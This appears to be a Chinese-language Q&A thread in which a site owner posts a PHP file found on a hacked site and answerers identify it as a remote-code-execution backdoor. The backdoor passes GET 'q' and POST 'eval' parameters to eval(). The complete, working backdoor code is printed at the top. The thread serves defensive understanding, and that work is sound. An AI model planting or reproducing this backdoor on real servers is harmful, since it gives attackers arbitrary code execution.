2012-01-19 57 views
3

我有一個名爲q.php的文件出現在我的一個網站中。該網站已被黑客入侵。有誰知道文件做什麼?被黑網站不尋常的PHP文件

<? error_reporting(0); if(@$_GET['wpth']){ echo "./mywebsite.co.uk/index.htm"; }?> 
<?=eval(@$_GET['q']);?> 
<?php 
if (!isset($_POST['eval'])) {die('');} 
eval($_POST['eval']); 
?> 
+7

它便於執行遠程代碼(無需額外上傳,顯然也可能已經有了)。 – mario

回答

10

看起來它允許任何人執行傳遞中作爲一個GET請求一個「Q」參數,或POST請求的「EVAL」 PARAM任何代碼的PHP代碼。它抑制所有相關的錯誤。

這是一樣糟糕,如果您的網站已經不存在了,我建議將它關閉並審覈您的服務器非常密切。

1

它運行在?q = GET參數或POST eval參數中發送的PHP代碼。

我會建議你清理你的服務器,並從乾淨的安裝再次啓動。

1

它將使攻擊者能夠執行任何代碼。

如果您通過URL中的?q=code將代碼傳遞給該腳本,或者通過將代碼包含到POST請求中,eval參數將被執行。

所以基本上這是一個遠程代碼執行後門程序。

1

不錯。不知道第一行是什麼,但兩條eval行允許某人通過分別在url或post數據中傳遞它們來執行服務器上的任何代碼。

+0

我的猜測是它加載了一個包含目錄列表或一些他們想要運行的常用函數的html文件。 – MetalFrog

+0

@MetalFrog nah,回聲只是吐出字符串。我的錢的腳本小子誰不真的知道他們在做什麼 –

+0

哦,是的,不知道爲什麼我認爲這是一個要求或包括更早。德普時刻。 – MetalFrog

1

更大的問題是攻擊者如何能夠首先上傳文件。該文件包含的代碼非常典型,因此攻擊者可以在未經許可的情況下在服務器上執行代碼。

僅僅刪除這個文件和任何其他文件與流氓代碼在他們沒有解決問題,這是不知何故攻擊者能夠上傳文件到您的網站文件存儲庫。

無論如何,這裏是一個完整的細目:

1 /的error_reporting(0); 將錯誤報告設置爲關閉。

2/if(@ $ _ GET ['wpth']){echo「./mywebsite.co.uk/index.htm」; }?> 如果最後使用/?wpth調用URL,則URL將在頁面頂部回顯。

3/ 這將執行任何包含在q值中的代碼。即yourdomain.com/?q=base64_decode(%27somelongstringhere%27)

4 if(!isset($ _ POST ['eval'])){die('');} 如果未設置名爲eval的帖子表單變量。

5/eval($ _ POST ['eval']); 執行遠程託管表單發佈的任何代碼,其中表單變量名爲eval